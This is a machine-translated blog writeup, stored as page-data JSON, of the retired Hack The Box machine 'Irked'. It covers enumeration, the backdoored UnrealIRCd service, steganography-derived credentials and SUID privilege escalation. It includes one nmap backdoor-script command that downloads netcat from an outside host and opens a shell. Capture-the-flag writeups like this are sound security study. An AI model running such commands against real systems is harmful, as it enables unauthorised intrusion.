{"componentChunkName":"component---src-templates-post-template-js","path":"/hackthebox-linux-irked-en","result":{"data":{"markdownRemark":{"id":"f00bdbab-6af7-5fa6-a599-bb9b01e3de64","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I use the penetration-testing learning platform “Hack The Box” to study security.\nAt the time of writing, my rank on Hack The Box is ProHacker.

\n\n \n \n \n \n \n \"Hack\n \n \n \n

This time I am writing up the retired HackTheBox machine “Irked”.

\n\n

About This Article

\n

The content of this article is not intended to encourage acts that are contrary to social order.

\n

Please note that attempting attacks against environments other than those you own or are authorized to use may violate the Act on the Prohibition of Unauthorized Computer Access (the Unauthorized Access Prohibition Act).

\n

All statements here are my own and do not represent any organization I belong to.

\n\n

Table of Contents

\n\n

Enumeration

\n

I ran the usual scan.

\n
$ sudo sed -i 's/^[0-9].*$RHOST/10.10.10.117 $RHOST/g' /etc/hosts\n$ nmap -sV -sC -Pn -T4 $RHOST| tee nmap1.txt\nPORT    STATE SERVICE VERSION\n22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)\n| ssh-hostkey: \n|   1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)\n|   2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)\n|   256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)\n|_  256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)\n80/tcp  open  http    Apache httpd 2.4.10 ((Debian))\n|_http-server-header: Apache/2.4.10 (Debian)\n|_http-title: Site doesn't have a title (text/html).\n111/tcp open  rpcbind 2-4 (RPC #100000)\n| rpcinfo: \n|   program version    port/proto  service\n|   100000  2,3,4        111/tcp   rpcbind\n|   100000  2,3,4        111/udp   rpcbind\n|   100000  3,4          111/tcp6  rpcbind\n|   100000  3,4          111/udp6  rpcbind\n|   100024  1          32926/tcp6  status\n|   100024  1          34772/udp6  status\n|   100024  1          36611/tcp   status\n|_  100024  1          55055/udp   status\nService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
\n

Port 111 being open is somewhat unusual.

\n

Port 111 is used by the rpcbind service.

\n

Since nmap also ran rpcinfo, I could see which RPC program numbers were open.

\n

Running the rpcinfo command directly gave slightly more detail than nmap alone.

\n

NFS did not appear to be running.

\n
$ rpcinfo -p $RHOST\n   program vers proto   port  service\n    100000    4   tcp    111  portmapper\n    100000    3   tcp    111  portmapper\n    100000    2   tcp    111  portmapper\n    100000    4   udp    111  portmapper\n    100000    3   udp    111  portmapper\n    100000    2   udp    111  portmapper\n    100024    1   udp  46043  status\n    100024    1   tcp  39977  status
\n

I got a bit stuck here, but connecting to port 80 displayed the message IRC is almost working!.

\n

A quick search revealed that IRC typically runs on ports around 7000.

\n

\n \n (text/html).\n|_http-server-header: Apache/2.4.10 (Debian)\n111/tcp open rpcbind 2-4 (RPC #100000)\n| rpcinfo: \n| program version port/proto service\n| 100000 2,3,4 111/tcp rpcbind\n| 100000 2,3,4 111/udp rpcbind\n| 100000 3,4 111/tcp6 rpcbind\n| 100000 3,4 111/udp6 rpcbind\n| 100024 1 39977/tcp status\n| 100024 1 46043/udp status\n| 100024 1 47929/tcp6 status\n|_ 100024 1 51699/udp6 status\n6697/tcp open irc UnrealIRCd\n8067/tcp open irc UnrealIRCd\n39977/tcp open status 1 (RPC #100024)\n65534/tcp open irc UnrealIRCd\n

IRC ports were open on 6697, 8067, and 65534.

\n

I tried enumerating them first.

\n

Reference: irc-unrealircd-backdoor NSE script — Nmap Scripting Engine documentation

\n
$ nmap -d -p6697 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' $RHOST\nPORT     STATE SERVICE REASON\n6697/tcp open  ircs-u  syn-ack\n|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277\nFinal times for host: srtt: 238054 rttvar: 178574  to: 952350
\n

Interestingly, UnrealIRCd 3.2.8.1 is the version that was officially distributed with a backdoor intentionally embedded in it.

\n

Reference: Full Disclosure: Fw: [irc-security] UnrealIRCd 3.2.8.1 backdoored on official ftp and site

\n

Running the following exploit gave me a reverse shell.

\n

Reference: UnrealIRCd-3.2.8.1-Backdoor/exploit.py at master · Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor · GitHub

\n

\n \n \n \n \n \n \n \n \n

\n

Internal Enumeration

\n

Looking for flags, I found that the user flag was located under the home directory of user djmardov.

\n

The current user ircd could not read that file, so I needed to escalate privileges.

\n
$ find / -name user.txt 2>/dev/null\n/home/djmardov/Documents/user.txt
\n

Running history for initial recon showed that .backup inside /home/djmardov/Documents had been accessed before.

\n

Printing its contents revealed what appeared to be credential information.

\n

\n \n \n \n \n \n \n \n \n

\n

I was not sure how to use it for a while, but noticing the word “steg” led me to try steganography on the image displayed in the browser.

\n

Running steghide prompted for a passphrase. Using the credential found in .backup yielded the SSH password for user djmardov.

\n

\n \n \n \n \n \n \n \n \n

\n

With that, I obtained the user flag.

\n

Privilege Escalation

\n

I started by running linpeas.

\n
$ scp /home/kali/Hacking/Tools/linpeas.sh djmardov@$RHOST:/home/djmardov\n\n$ ./linpeas.sh -a | tee linpeas.txt
\n

The output showed an SMTP process running on the local address.

\n
25/tcp  open  smtp    Exim smtpd\n| smtp-commands: irked Hello localhost [127.0.0.1], SIZE 52428800, 8BITMIME, PIPELINING, HELP, \n|_ Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
\n

Banner grabbing confirmed it was running SMTP Exim 4.84_2.

\n

The exim4 process was running as root.

\n

I tried a range of exploits for this but unfortunately none of them worked.

\n

Going back to linpeas, I noticed a binary at /usr/bin/viewuser that had the SUID bit set, and it appeared to allow executing an arbitrary shell script with root privileges.

\n
#\n Interesting Files ╠════════════════════════════════════\n#\n SUID - Check easy privesc, exploits and write perms\n https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid\n-rwsr-xr-x 1 root root 7.2K May 16  2018 /usr/bin/viewuser (Unknown SUID binary)
\n

Using this binary to invoke a shell gave me root privileges.

\n

\n \n \n \n \n \n \n \n \n

","fields":{"slug":"/hackthebox-linux-irked-en","tagSlugs":["/tag/hack-the-box-en/","/tag/linux-en/","/tag/easy-box-en/","/tag/english/"]},"frontmatter":{"date":"2022-08-04","description":"A writeup of the retired HackTheBox machine 'Irked'.","tags":["HackTheBox (en)","Linux (en)","EasyBox (en)","English"],"title":"HackTheBox Writeup: Irked (Easy/Linux)","socialImage":{"publicURL":"/static/dc4d8b7f8795f3c3d3489d9957d155f2/no-image.png"}}}},"pageContext":{"slug":"/hackthebox-linux-irked-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}